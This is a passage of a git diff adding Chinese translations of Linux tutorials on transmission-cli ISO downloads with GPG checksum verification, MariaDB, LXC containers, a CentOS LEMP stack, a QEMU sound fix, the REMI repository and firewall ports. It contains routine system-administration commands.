1GB 的 Ubuntu ISO 镜像只用了我 5 分钟的时间。 + +![](https://farm6.staticflickr.com/5605/15433651319_745df6633a_z.jpg) + +程序下载 ISO 镜像完成后,你会在终端中看到“状态由未完成变为完成”的提示。要注意的是 transmission-cli 会继续运行并做种以便于其他下载者下载。可以按 Ctrl+C 来退出。 + +### 为重复使用定制下载选项 ### + +如果你经常使用 **transmission-cli** ,那么值得花时间来熟悉一下它的命令行选项。 + +- "-w /path/to/download-directory" 选项指定下载文件保存的文件夹。 + +- "-f /path/to/finish-script" 选项设置当前下载完成后要运行的脚本。注意 transmission-cli 默认在文件下载完成后继续运行。如果你想在成功下载完成后自动关闭 transmission-cli,你可以使用这个选项。下面这个简单的脚本可以完成这个功能。 + + #!/bin/sh + sleep 10 + killall transmission-cli + +- 如果你想为 transmission-cli 分配上传/下载带宽限制,你可以使用 “-d ” 和 “-u ” 选项。如果你不想限制带宽使用,仅仅指定 “D” 或 “-U” 选项即可。 + +这有一个更高级的 transmission-cli 使用范例。在这个例子中,命令行客户端在成功下载后自动退出。下载速度不限而上传速度限制为 50KB/s。 + + $ transmission-cli -w ~/iso -D -u 50 -f ~/finish.sh ubuntu-14.10-desktop-amd64.iso.torrent + +![](https://farm6.staticflickr.com/5599/15434697690_e9a19f0d97_z.jpg) + +### 验证已下载的 ISO 镜像的完整性 ### + +当你下载了一个 ISO 镜像,特别是从 BitTorrent 网络上很多未知的种子处下载的,通常建议要验证下载镜像的完整性。 + +对于 Ubuntu 发行版的情况, Canonical 提供了几个供验证使用的验校文件(如 MD5SUM, SHA1SUMS 和 SHA256SUMS)。在这个例子中我们使用 SHA256SUMS。 + +![](https://farm4.staticflickr.com/3943/15434697700_3b3e6077ee_z.jpg) + +首先,下载下面两个文件。 + + $ wget http://releases.ubuntu.com/14.10/SHA256SUMS + $ wget http://releases.ubuntu.com/14.10/SHA256SUMS.gpg + +第一个文件是 ISO 镜像的 SHA256 验校文件,而第二个文件(*.gpg)是验校文件的签名。第二个文件的目的是验证验校文件本身的有效性。 + +我们通过运行下面的命令来验证 SHA256SUMS 文件的有效性。 + + $ gpg --verify SHA256SUMS.gpg SHA256SUMS + +---------- + + gpg: Signature made Thu 23 Oct 2014 09:36:00 AM EDT using DSA key ID FBB75451 + gpg: Can't check signature: public key not found + +如果你得到上面的错误信息,是因为你还没有导入生成这个签名的公共密钥。因此我们现在导入需要的公共密钥。 + +这样做之前,你需要知道公共密钥的 “key ID”,而这在上面的 gpg 命令的输出中有显示。在这个例子中,密钥 ID 时 “FBB75451”。运行下面的命令来从官方 Ubuntu 密钥服务器导入公共密钥。 + + $ gpg --keyserver hkp://keyserver.ubuntu.com --recv-keys FBB75451 + +![](https://farm4.staticflickr.com/3953/15620291035_bcdb3cffb9_z.jpg) + +既然公共密钥已经被导入,我们可以继续并重新运行之前的命令来验证签名。 + + gpg --verify SHA256SUMS.gpg SHA256SUMS + +![](https://farm6.staticflickr.com/5600/15433651369_d22905e65b_z.jpg) + +这次你没有看到 “public key not found” 的错误信息。如果 SHA256SUMS 文件时有效的,你会看到 “Good signature from ” 的信息。注意到你还看到一个 “This key is not certified with a trusted signature” 的警告信息。基本上这个警告信息是告诉你对导入的公共密钥没有明确信任。要避免这个警告,你可以选择指定[完全信任][3]导入的公共密钥,但你应该只有在通过其他方式审查了这个密钥之后才这样做。否则的话,你可以暂时忽略这个警告。 + +在验证了 SHA256SUMS 文件的完整性后,最后一个步骤是比较已下载 ISO 文件的 SHA256 验校和和 SHA256SUMS 文件中对应的验校值。你可以使用 sha256sum 命令行工具来完成这个步骤。 + +为方便起见,下面一行命令比较 SHA256 验校和并报告结果。 + + $ sha256sum -c <(grep ubuntu-14.10-desktop-amd64.iso SHA256SUMS) + +---------- + + ubuntu-14.10-desktop-amd64.iso: OK + +如果你看到了上面的输出信息,这表明两个验校值相匹配。这样已下载 ISO 镜像的完整性就被成功的验证了。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/download-iso-image-bittorrent-command-line.html + +作者:[Dan Nanni][a] +译者:[wangjiezhe](https://github.com/wangjiezhe) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:https://www.transmissionbt.com/ +[2]:http://xmodulo.com/how-to-set-up-epel-repository-on-centos.html +[3]:http://xmodulo.com/verify-authenticity-integrity-downloaded-file.html +[4]:http://xmodulo.com/download-iso-image-bittorrent-command-line.html diff --git a/published/201411/20141029 How to Install MariaDB in Ubuntu 14.04 LTS.md b/published/201411/20141029 How to Install MariaDB in Ubuntu 14.04 LTS.md new file mode 100644 index 0000000000..5fe337a8d1 --- /dev/null +++ b/published/201411/20141029 How to Install MariaDB in Ubuntu 14.04 LTS.md @@ -0,0 +1,52 @@ +如何在Ubuntu 14.04 LTS上安装MariaDB +================================================================================ +MariaDB是一个开源数据库且100%与MySQL兼容,目标是替代MySQL数据库。 + +### MariaDB的背景 : ### + +2008年,MySQL被后来被Oracle在2010年收购的**Sun Microsystems**收购了。 最初被Sun公司的收购由于符合项目的需要而受到MySQL社区的欢呼,但是这种情绪并没有持续太久,接下来被Oracle的收购,不幸期望远远低于预期。许多MySql的开发者离开了Sun和Oracle公司开始新的项目。在他们中间就有MySQL的创建者以及项目长期技术带头人之一的**Michael ‘Monty’ Widenius**。Monty和他的团队创建了MySQL的一个fork版本并且命名它为**MariaDB**。 + +本篇我们会讨论如何在Ubuntu上安装MariaDB。默认上MariaDB的包并没有在Ubuntu仓库中。要安装MariaDB,我们首先要设置MariaDB仓库。 + +#### 设置 MariaDB 仓库 #### + + $ sudo apt-get install software-properties-common + $ sudo apt-key adv --recv-keys --keyserver hkp://keyserver.ubuntu.com:80 0xcbcb082a1bb943db + $ sudo add-apt-repository 'deb http://sfo1.mirrors.digitalocean.com/mariadb/repo/10.0/ubuntu trusty main' + +#### 安装 MariaDB : #### + + $ sudo apt-get update + $ sudo apt-get install mariadb-server + +在安装中,你会被要求设置MariaDB的root密码。 + +![](http://www.linuxtechi.com/wp-content/uploads/2014/10/mariadb-root-1024x442-1.jpg) + +#### 从命令行连接到MariaDB : #### + + linuxtechi@mail:~$ mysql -uroot -p + Enter password: + Welcome to the MariaDB monitor. Commands end with ; or \g. + Your MariaDB connection id is 40 + Server version: 10.0.14-MariaDB-1~trusty-log mariadb.org binary distribution + Copyright (c) 2000, 2014, Oracle, SkySQL Ab and others. + Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + MariaDB [(none)]> + +#### Maria DB 服务 #### + + $ sudo /etc/init.d/mysql stop + $ sudo /etc/init.d/mysql start + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/install-mariadb-in-ubuntu/ + +作者:[Pradeep Kumar][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ \ No newline at end of file diff --git a/published/201411/20141029 How to create and manage LXC containers on Ubuntu.md b/published/201411/20141029 How to create and manage LXC containers on Ubuntu.md new file mode 100644 index 0000000000..62407e8021 --- /dev/null +++ b/published/201411/20141029 How to create and manage LXC containers on Ubuntu.md @@ -0,0 +1,141 @@ +教你在 Ubuntu 上使用 LXC 容器 +================================================================================ +使用“容器”来保证主机环境的安全性,这个概念早在十年前就已经存在(例如 FreeBSD 的 jail 虚拟化技术),但是直到最近,随着部署云架构需求越来越多,像 LXC 和 [Docker][1] 这种 Linux 下的容器才成为被关注的焦点。当然,由于主流厂商(云服务商如亚马逊主推 AWS,微软主推 Azure;发行版如红帽、Ubuntu等)组成的强大靠山,[Docker][2] 已经被放在媒体的聚光灯下面,其实,Docker 里面所谓的“容器”技术是由 LXC 提供的。 + +你只是一个普通的 Linux 用户,那 Docker/LXC 能为你带来什么好处呢?容器可以将你的应用在不同的 Linux 发行版之间迁移。想像一下这个场景:你正在用的发行版是 Debian,你喜欢它的稳定性,同时你又想玩一款最新的 Ubuntu 游戏,你不需要在电脑上装双系统然后重启进入 Ubuntu,也不需要在 Debian 上跑一个耗资源的 Ubuntu 虚拟机,你只需要简单地生成一个 Ubuntu 容器就够了。 + +抛开 Docker 的好处不谈,让我们聊一下 LXC 容器的好处:我可以使用 libvirt 提供的接口来管理 LXC,这些接口和 Docker 没有任何关系。如果你有使用基于 libvirt 库的管理工具(例如 virt-manager 和 virsh),你就可以使用它们来管理 LXC 容器。 + +在这篇教程中,我只介绍标准 LXC 容器管理工具的命令行操作,来教你**如何在 Ubuntu 下创建和管理 LXC 容器**。 + +### Ubuntu 下安装 LXC ### + +使用下面的命令安装 LXC 在用户态的工具: + + $ sudo apt-get install lxc + +然后检查当前内核是否支持 LXC。如果所有结果都是“enable”,说明内核支持: + + $ lxc-checkconfig + +![](https://farm4.staticflickr.com/3955/15655792445_d462957ee9_z.jpg) + +安装完 LXC 工具后,就能看到 LXC 自动创建了一块桥接网卡(lxcbr0,可以在 /etc/lxc/default.conf 中设置)。 + +![](https://farm6.staticflickr.com/5598/15035046834_a53c092230_z.jpg) + +当你创建了 LXC 容器后,它的网口会自动链接到这个桥接网卡上,然后这个容器就能和外部世界通信了。 + +### 创建 LXC 容器 ### + +为了在指定环境下(比如 Debian Wheezy 64位)创建 LXC 容器,你需要一个相应的 LXC 模板。幸运的是 LXC 提供的工具集成了一整套现成的 LXC 模板,你可以在 /usr/share/lxc/templates 目录下找到它们。 + + $ ls /usr/share/lxc/templates + +![](https://farm4.staticflickr.com/3954/15035046824_d15d1cbf6e_z.jpg) + +一个 LXC 模板实质上就是一个脚本,用于创建指定环境下的容器。当你创建 LXC 容器时,你需要用到它们。 + +比如你要新建 Ubuntu 容器,使用下面的命令即可: + + $ sudo lxc-create -n -t ubuntu + +![](https://farm8.staticflickr.com/7559/15035638763_07d63e23ef_z.jpg) + +默认情况下,这个命令会创建一个最小的 Ubuntu 环境,版本号与你的宿主机一致,我这边是“活泼的蝾螈”(版本号是13.10),64位。 + +当然你也可以创建任何你喜欢的版本,只要在命令里面加一个版本参数即可。举个例子,创建 Ubuntu 14.10 的容器: + + $ sudo lxc-create -n -t ubuntu -- --release utopic + +这个命令就会下载安装指定环境下的软件包,创建新容器。整个过程需要几分钟时间,与容器的类型有关,所以,你可能需要耐心等待。 + +![](https://farm4.staticflickr.com/3933/15469152369_6a48943cf3_z.jpg) + +下载安装完所有软件包后,LXC 容器镜像就创建完成了,你可以看到默认的登录界面。容器被放到 /var/lib/lxc/<容器名> 这个目录下,容器的根文件系统放在 /var/lib/lxc/<容器名>/rootfs 目录下。 + +创建过程中下载的软件包保存在 /var/cache/lxc 目录下面,当你想另外建一个一样的容器时,可以省去很多下载时间。 + +用下面的命令看看主机上所有的 LXC 容器: + + $ sudo lxc-ls --fancy + +---------- + + NAME STATE IPV4 IPV6 AUTOSTART + ------------------------------------ + test-lxc STOPPED - - NO + +使用下面的命令启动容器。参数“-d”将容器作为后台进程打开。如果没有指定这个参数,你可以在控制台界面上直接把容器的运行程序关闭(LCTT译注:Ctrl+C组合键)。 + + $ sudo lxc-start -n -d + +打开容器后,看看状态: + + $ sudo lxc-ls --fancy + +---------- + + NAME STATE IPV4 IPV6 AUTOSTART + ----------------------------------------- + lxc RUNNING 10.0.3.55 - NO + +容器状态是“运行中”,容器 IP 是10.0.3.55。 + +你也可以看到容器的网络接口(比如我这里是 vethJ06SFL)自动与 LXC 内部网桥(lxcbr0)连上了: + + $ brctl show lxcbr0 + +![](https://farm4.staticflickr.com/3932/15656618342_53c4bc19ca_z.jpg) + +### 管理 LXC 容器 ### + +我们已经学习了怎么创建和启动 LXC 容器,现在来看看怎么玩一个正在运行着的容器。 + +第一步:打开容器控制台: + + $ sudo lxc-console -n + +![](https://farm8.staticflickr.com/7538/15470225050_d093cb1028_z.jpg) + +使用“Crtl+a q”组合键退出控制台。 + +停止、删除容器: + + $ sudo lxc-stop -n + $ sudo lxc-destroy -n + +复制容器,用下面的命令: + + $ sudo lxc-stop -n + $ sudo lxc-clone -o -n + +### 常见问题 ### + +这个小节主要介绍你们在使用 LXC 过程中碰到过的问题。 + +1. 创建 LXC 容器时遇到下面的错误: + + $ sudo lxc-create -n test-lxc -t ubuntu + +---------- + + lxc-create: symbol lookup error: /usr/lib/x86_64-linux-gnu/liblxc.so.1: undefined symbol: cgmanager_get_pid_cgroup_abs_sync + +错误的原因是你运行了最新的 LXC,但是它所依赖的 libcgmanager 版本较老,两者不兼容。升级下 libcmanager 即可解决问题: + + $ sudo apt-get install libcgmanager0 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/lxc-containers-ubuntu.html + +作者:[Dan Nanni][a] +译者:[bazz2](https://github.com/bazz2) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://xmodulo.com/docker-containers-centos-fedora.html +[2]:http://xmodulo.com/manage-linux-containers-docker-ubuntu.html diff --git a/published/201411/20141029 How to install LEMP stack nginx MariaDB or MySQL and php on CentOS.md b/published/201411/20141029 How to install LEMP stack nginx MariaDB or MySQL and php on CentOS.md new file mode 100644 index 0000000000..e31d360a7c --- /dev/null +++ b/published/201411/20141029 How to install LEMP stack nginx MariaDB or MySQL and php on CentOS.md @@ -0,0 +1,248 @@ +CentOS 下安装 LEMP 服务(nginx、MariaDB/MySQL 和 php) +================================================================================ +LEMP 组合包是一款日益流行的网站服务组合软件包,在许多生产环境中的核心网站服务上起着强有力的作用。正如其名称所暗示的, LEMP 包是由 Linux、nginx、MariaDB/MySQL 和 PHP 组成的。在传统的 LAMP 包中使用的 Apache HTTP 协议服务器性能低下而且难于大规模集群,相比来说 nginx 的高性能及轻量级等特性,正是其的替代方案。 MariaDB 是一款社区支持驱动的 MySQL 数据库的分支,其功能更多性能更佳。PHP,服务端编程语言,具体是由 PHP FastCGI 的增强版 PHP-FPM 组件来处理,生成网页动态内容。 + +这篇文章里,我们示范**如何在 CentOS 操作平台上安装 LEMP 包**。我们安装的目标是 CentOS 6 和 CentOS 7 两个操作平台,如有必要会指出它们的不同。 + +### 第一步: Nginx ### + +让我们在 CentOS 上安装 nginx 作为第一步,然后对它作些基本的配置,比如使其能引导时启动和[对防火墙做个性化设置][1]。 + +#### 安装 Nginx #### + +让我们从它的官方的 RPM 源来安装一个预构建的稳定版本的 nginx 包。 + +在 CentOS 7 系统上: + + $ sudo rpm --import http://nginx.org/keys/nginx_signing.key + $ sudo rpm -ivh http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm + $ sudo yum install nginx + +在 CentOS 6 系统上: + + $ sudo rpm --import http://nginx.org/keys/nginx_signing.key + $ sudo rpm -ivh http://nginx.org/packages/centos/6/noarch/RPMS/nginx-release-centos-6-0.el6.ngx.noarch.rpm + $ sudo yum install nginx + +注意在安装 nginx RPM 包之前,如果您没有导入 nginx 的官方 GPG 密钥的话,会出一如下所示的警告: + + warning: /var/tmp/rpm-tmp.KttVHD: Header V4 RSA/SHA1 Signature, key ID 7bd9bf62: NOKEY + +#### 启动 Nginx #### + +安装完成后,nginx 是不会自动启动的。现在让我们来启动它吧,还要做些配置让其可以随着操作系统启动而启动。我们也需要在防火墙里打开 TCP/80 端口,以使得可以远程访问 nginx 的 web 服务。所有这些操作、设置都只需要输入如下命令就可实现。 + +在 CentOS 7 系统上: + + $ sudo systemctl start nginx + $ sudo systemctl enable nginx + $ sudo firewall-cmd --zone=public --add-port=80/tcp --permanent + $ sudo firewall-cmd --reload + +在 CentOS 6 系统上: + + $ sudo service nginx start + $ sudo chkconfig nginx on + $ sudo iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT + $ sudo service iptables save + +#### 测试 Nginx #### + +nginx 的默认文档要目录是 /usr/share/nginx/html。默认的 index.html 文件一定已经在这目录下了。让我们检测下是否可以访问到这个测试 web 页,输入 http://nginx的ip地址/ 访问。 + +![](https://farm4.staticflickr.com/3940/15461279287_8573948074_b.jpg) + + 如果您看到的是如上所示的页面的话,说明 nginx 已经正常启动。继续往下。 + +### 第二步: MariaDB/MySQL ### + +下一步就是安装 LEMP 包的数据库组件。CentOS/RHEL 6 或早期的版本中提供的是 MySQL 的服务器/客户端安装包,但 CentOS/RHEL 7 已使用了 MariaDB 替代了默认的 MySQL。作为 MySQL 的简单替代品,MariaDB 保证了与 MySQL 的 API 和命令行用法方面最大的兼容性。下面是关于怎么在 CentOS 上安装和配置 MaraDB/MySQL 的操作示例。 + +在 CentOS 7 系统上: + +如下所示操作来安装 MariaDB 服务/客户端包以及启动 MariaDB 服务。 + + $ sudo yum install mariadb-server + $ sudo systemctl start mariadb + $ sudo systemctl enable mariadb + +在 CentOS 6 系统上: + +如下示,安装 MySQL 服务/客户端包并且启动 MySQL 服务。 + + $ sudo yum install mysql-server + $ sudo service mysqld start + $ sudo chkconfig mysqld on + +在成功启动 MariaDB/MySQL 服务后,执行在 MariaDB/MySQL 服务包中的脚本。这一次的运行会为为数据库服务器进行一些安全强化措施,如设置(非空)的 root 密码、删除匿名用户、锁定远程访问。 + + $ sudo mysql_secure_installation + +![](https://farm8.staticflickr.com/7545/15644566071_8c39875512_z.jpg) + +这就是数据库的设置。现在进行下一步。 + +### 第三步: PHP ### + +PHP 是 LEMP 包中一个重要的组件,它负责把存储在 MariaDB/MySQL 服务器的数据取出生成动态内容。为了 LEMP 需要,您至少需要安装上 PHP-FPM 和 PHP-MySQL 两个模块。PHP-FPM(FastCGI 进程管理器)实现的是 nginx 服务器和生成动态内容的 PHP 应用程序的访问接口。PHP-MySQL 模块使 PHP 程序能访问 MariaDB/MySQL 数据库。 + +#### 安装 PHP 模块 #### + +在 CentOS 7 系统上: + + $ sudo yum php php-fpm php-mysql + +在 CentOS 6 系统上: + +首先,您需要从仓库中安装 REMI 库(参见[本指南][2]),并安装软件包。 + + $ sudo yum --enablerepo=remi install php php-fpm php-mysql + +![](https://farm4.staticflickr.com/3934/15644566121_60cbaab8b7_z.jpg) + +在安装 PHP 时,得注意两个地方: + +在 CentOS 6 系统中,安装 REMI仓库中最新的 php-mysql 模块时,MySQL 的服务端包和客户端包会被当做一部分依赖包而自动的更新。 + +在 CentOS 6 和 CentOS 7 中,在安装 PHP 包的同时会把 Apache web 服务器(即 httpd)当做它的依赖包一起安装。这会跟 nginx web 服务器起冲突。这个问题会在下一节来讨论。 + +取决于您的使用情况,可以使用 yum 命令来定制您的 PHP 引擎,也许会想安装下面的任意一个扩展 PHP 模块包。 + +- **php-cli**: PHP 的命令行界面。从命令行里测试 PHP 时非常有用。 +- **php-gd**: PHP 的图像处理支持。 +- **php-bcmath**: PHP 的数学支持。 +- **php-mcrypt**: PHP 的加密算法支持 (例如 DES、Blowfish、CBC、 CFB、ECB ciphers 等)。 +- **php-xml**: PHP 的 XML 解析和处理支持。 +- **php-dba**: PHP 的数据抽象层支持。 +- **php-pecl-apc**: PHP 加速器/缓存支持。 + +安装时,要查看可用的 PHP 模块的完整列表的话,可以运行: + + $ sudo yum search php- (CentOS 7) + $ sudo yum --enablerepo=remi search php- (CentOS 6) + +#### 启动 PHP-FPM #### + +您需要启动 PHP-FPM ,然后把它放到自动启动服务列表。 + +在 CentOS 7 系统上: + + $ sudo systemctl start php-fpm + $ sudo systemctl enable php-fpm + +在 CentOS 6 系统上: + + $ sudo chkconfig php-fpm on + $ sudo service php-fpm start + +### 第四步: 配置 LEMP 组合包 ### + +本教程的最后一步是调整 LEMP 组合包的配置。 + +#### 使 Httpd 不可用 #### + +首先,让我们把早先随 PHP 包安装的 httpd 服务给禁用掉。 + +在 CentOS 7 系统上: + + $ sudo systemctl disable httpd + +在 CentOS 6 系统上: + + $ sudo chkconfig httpd off + +#### 配置 Nginx #### + +接下来,让我们配置 nginx 虚拟主机,使得 nginx 可以通过 PHP-FPM 来处理 PHP 的任务。用文本编辑器打开 /etc/nginx/conf.d/default.conf ,然后按如下所示修改。 + + $ sudo vi /etc/nginx/conf.d/default.conf + +---------- + + server { + listen 80; + server_name www.server_domain.com; + root /usr/share/nginx/html; + index index.php index.html index.htm; + + location / { + } + + # redirect server error pages to the static page /50x.html + error_page 500 502 503 504 /50x.html; + location = /50x.html { + } + + # nginx passes PHP scripts to FastCGI server via a TCP/9000 socket + # this setting much be consistent with /etc/php-fpm.d/www.conf + # try_files prevents nginx from passing bad scripts to FastCGI server + location ~ \.php$ { + try_files $uri =404; + fastcgi_pass 127.0.0.1:9000; + fastcgi_index index.php; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + include fastcgi_params; + } + } + +nginx 的默认工作线程数(在 /etc/nginx/nginx.conf 文件中指定的)是 1,让我们也来调整一下这个数字。通常来说我们创建的工作线程数应该和 CPU 核数相同。要确信您的 CPU 的核数,请运行下面这命令: + + $ grep processor /proc/cpuinfo | wc -l + +如果您的 CPU 是 4 核的,就如下所示修改 /etc/nginx/nginx.conf 文件。 + + $ sudo vi /etc/nginx/nginx.conf + +---------- + + worker_processes 4; + +#### 配置 PHP #### + +接下来,让我们对 PHP 的配置文件 /etc/php.ini 做自定义设置。更具体的就是在 /etc/php.ini 文件中增加以下两行。 + + cgi.fix_pathinfo=0 + date.timezone = "PRC" + +为了安全起见,我们希望的是 PHP 解释器只是处理指定文件路径的文件任务,而不是预测搜索一些并不存在的文件任务。上面的第一行起的就是这个作用。(LCTT 译注:原文用的时区是“America/New York”,根据国内情况,应该用 PRC或 Asia 下的中国城市。) + +第二行定义的是 PHP 中日期/时间相关函数使用相关的默认时区。使用[本指南][3],找出您所在的时区,并设置相应 **date.timezone 的值**。 + +#### 测试 PHP #### + +最后,让我们来测试下 nginx 是否能处理 PHP 页面。在测试之前,请确保重启 nginx 和 PHP-FPM。 + +在 CentOS 7 系统上: + + $ sudo systemctl restart nginx + $ sudo systemctl restart php-fpm + +在 CentOS 6 系统上: + + $ sudo service nginx restart + $ sudo service php-fpm restart + +创建一个叫名叫 test.php 的文件,然后写入如下内容,并放入 /var/www/html/ 目录。 + + + +打开浏览器,输入 http://nginx的IP地址/test.php 。 + +![](https://farm6.staticflickr.com/5608/15647258715_9d7bcd8c73_z.jpg) + +如果您能看到如上所示的页面,说明设置的 LEMP 完全成功! + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/install-lemp-stack-centos.html + +作者:[Dan Nanni][a] +译者:[runningwater](https://github.com/runningwater) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://linux.cn/article-4243-1.html +[2]:http://linux.cn/article-4192-1.html +[3]:http://ask.xmodulo.com/set-default-timezone-php.html \ No newline at end of file diff --git a/published/201411/20141029 Linux FAQs with Answers--How to fix hda-duplex not supported in this QEMU binary.md b/published/201411/20141029 Linux FAQs with Answers--How to fix hda-duplex not supported in this QEMU binary.md new file mode 100644 index 0000000000..916a48061a --- /dev/null +++ b/published/201411/20141029 Linux FAQs with Answers--How to fix hda-duplex not supported in this QEMU binary.md @@ -0,0 +1,40 @@ +Linux 有问必答:如何修复“hda-duplex not supported in this QEMU binary” +================================================================================ +> **提问**: 当我尝试在虚拟机中安装一个新的Linux时,虚拟机不能启动且报了下面这个错误:"unsupported configuration: hda-duplex not supported in this QEMU binary."(“不支持的配置:hda-duplex在此QEMU文件中不支持。”) 我该如何修复? + +这个错误可能来自一个当默认声卡型号不能被识别时的一个qemu bug。 + +![](https://farm4.staticflickr.com/3935/15000012754_b8b147fb16_o.png) + + 无法完成安装:‘不支持的配置:hda-duplex在此QEMU文件中不支持’ + +要解决这个问题,按照下面的做。 + +### 方案一: virt-manager ### + +在**virt-manager**中,打开虚拟机的虚拟硬件详细菜单,进入声卡选项,改变默认的设备型号为ac97。 + +![](https://farm4.staticflickr.com/3956/15435183020_d97856170c_z.jpg) + +点击“应用”按钮并保存设置。看一下虚拟机现在是否可以启动了。 + +### 方案二: Virsh ### + +如果你使用的是**virsh** 而不是**virt-manager**, 你可以编辑VM相应的配置文件。在节点中查找**sound**节点,并按照下面的默认声卡型号改成**ac97**。 + + + . . . + +
+ + . . . + + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/hda-duplex-not-supported-in-this-qemu-binary.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201411/20141029 Linux FAQs with Answers--How to install REMI repository on CentOS or RHEL.md b/published/201411/20141029 Linux FAQs with Answers--How to install REMI repository on CentOS or RHEL.md new file mode 100644 index 0000000000..f3004b32dd --- /dev/null +++ b/published/201411/20141029 Linux FAQs with Answers--How to install REMI repository on CentOS or RHEL.md @@ -0,0 +1,52 @@ +Linux 有问必答:如何在CentOS或者RHEL上安装REMI仓库 +================================================================================ +> **Question**:我该如何在CentOS或者RHEL中配置REMI仓库,并安装其中的包? + +[REMI 仓库][1]提供了CentOS和RHEL的核心包的更新版本,尤其是最新的PHP/MySQL系列(LCTT 译注:当你需要一个更新包,而 CentOS/RHEL 没有及时提供更新时, REMI 仓库可以帮助你)。 + +安装REMI仓库要记住的一件事是不要在启用了REMI仓库时运行yum update。因为REMI仓库的包名与RHEL/CentOS中的相同,运行yum update可能会触发意外的更新。一个好办法是禁用REMI仓库,在你需要安装RMEI仓库中独有的包时再启用。 + +### 预备工作 ### + +安装REMI仓库之前,你首先需要启用EPEL仓库,因为REMI中的一些包依赖于EPEL。按照[这份指南][2]在CentOS或者RHEL中设置EPEL仓库。 + +### 安装REMI仓库 ### + +现在按照下面的步骤安装REMI仓库。 + +在CentOS 7上: + + $ sudo rpm --import http://rpms.famillecollet.com/RPM-GPG-KEY-remi + $ sudo rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm + +在CentOS 6上: + + $ sudo rpm --import http://rpms.famillecollet.com/RPM-GPG-KEY-remi + $ sudo rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-6.rpm + +默认地,REMI是禁用的。要检查REMI是否已经成功安装,使用这个命令。你会看到几个REMI仓库,比如remi、remi-php55和remi-php56。 + + $ yum repolist disabled | grep remi + +![](https://farm4.staticflickr.com/3956/15443851690_a1abe9eb40_z.jpg) + +### 从REMI仓库中安装一个包 ### + +如上所述,最好保持禁用REMI仓库,**只有在需要的时候再启用**。 + +要搜索或安装REMI仓库中的包,使用这些命令: + + $ sudo yum --enablerepo=remi search + $ sudo yum --enablerepo=remi install + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/install-remi-repository-centos-rhel.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://rpms.famillecollet.com/ +[2]:http://xmodulo.com/how-to-set-up-epel-repository-on-centos.html \ No newline at end of file diff --git a/published/201411/20141029 Linux FAQs with Answers--How to open a port in the firewall on CentOS or RHEL.md b/published/201411/20141029 Linux FAQs with Answers--How to open a port in the firewall on CentOS or RHEL.md new file mode 100644 index 0000000000..c569a622b4 --- /dev/null +++ b/published/201411/20141029 Linux FAQs with Answers--How to open a port in the firewall on CentOS or RHEL.md @@ -0,0 +1,68 @@ +Linux有问必答:在CentOS或RHEL防火墙上开启端口 +================================================================================ +> **问题**:我在CentOS系统上运行一台网页或文件服务器,打算远程访问服务器。因此,我需要更改防火墙规则以允许访问系统上的某个TCP端口。那么,有什么好方法在CentOS或RHEL系统的防火墙上开启TCP/UDP端口? + +如果希望在服务器上提供服务,诸如CentOS或RHEL的企业级Linux发行版包含内置的强大防火墙,它们默认的防火墙规则十分严格。因此,如果你安装了任何定制的服务(比如web服务器、NFS和Samba),那么它们的流量很有可能被防火墙规则阻塞。所以需要在防火墙上开启必要的端口以允许流量通过。 + +在CentOS/RHEL 6或更早的版本上,iptables服务允许用户与netfilter内核模块交互来在用户空间中配置防火墙规则。然而,从CentOS/RHEL 7开始,一个叫做firewalld新用户空间接口被引入以取代iptables服务。 + +使用这个命令察看当前的防火墙规则: + + $ sudo iptables -L + +![](https://farm6.staticflickr.com/5601/15604533686_a8c0ae7b89_z.jpg) + +现在,让我们看看如何在CentOS/RHEL上修改防火墙来开启一个端口。 + +### 在CentOS/RHEL 7上开启端口 ### + +启动CentOS/RHEL 7后,防火墙规则设置由firewalld服务进程默认管理。一个叫做firewall-cmd的命令行客户端支持和这个守护进程通信以永久修改防火墙规则。 + +使用这些命令来永久打开一个新端口(如TCP/80)。 + + $ sudo firewall-cmd --zone=public --add-port=80/tcp --permanent + $ sudo firewall-cmd --reload + +如果不使用“--permanent”标记,把么防火墙规则在重启后会失效。 + +### 在CentOS/RHEL 6上开启端口 ### + +在CentOS/RHEL 6甚至更早版本系统上,iptables服务负责维护防火墙规则。 + +使用iptables的第一条命令可以通过防火墙开启一个新TCP/UDP端口。为了永久保存修改过的规则,还需要第二条命令。 + + $ sudo iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT + $ sudo service iptables save + +另一种方法是通过一个名为system-config-firewall-tui的命令行用户接口(TUI)的防火墙客户端。 + + $ sudo system-config-firewall-tui + +选择位于中间的“Customize”按钮,按下ENTER键即可。 + +![](https://farm6.staticflickr.com/5602/15628237745_4409cff52f_z.jpg) + 